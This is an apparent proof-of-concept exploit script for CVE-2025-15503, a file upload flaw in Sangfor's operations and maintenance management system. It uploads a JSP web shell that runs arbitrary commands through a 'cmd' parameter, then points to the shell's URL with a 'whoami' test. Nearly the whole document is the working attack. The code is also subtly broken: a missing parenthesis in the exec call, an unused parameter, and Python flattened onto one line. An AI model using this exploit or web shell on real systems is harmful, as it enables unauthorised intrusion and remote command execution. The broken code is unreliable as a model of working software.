CVE-2025-15503: Sangfor运维管理系统任意文件上传漏洞

#!/usr/bin/env python3 # CVE-2025-15503 PoC - Sangfor Operation and Maintenance Management System Unrestricted File Upload # This PoC demonstrates the file upload vulnerability in Sangfor system import requests import sys def exploit(target_url, file_path): """ Exploit the unrestricted file upload vulnerability :param target_url: Target system URL (e.g., http://target.com) :param file_path: Path to the file to upload """ upload_url = f"{target_url}/fort/trust/version/common/common.jsp" # Prepare malicious file content (JSP WebShell example) malicious_content = '''<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd"); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>''' try: # Send file upload request files = {'File': ('shell.jsp', malicious_content, 'application/octet-stream')} response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Upload request sent to: {upload_url}") print(f"[*] Status code: {response.status_code}") if response.status_code == 200: print("[+] File upload appears successful!") print("[*] Access uploaded file at: /fort/trust/version/common/shell.jsp?cmd=whoami") else: print("[-] Upload may have failed. Check manually.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://vulnerable-server.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, 'shell.jsp')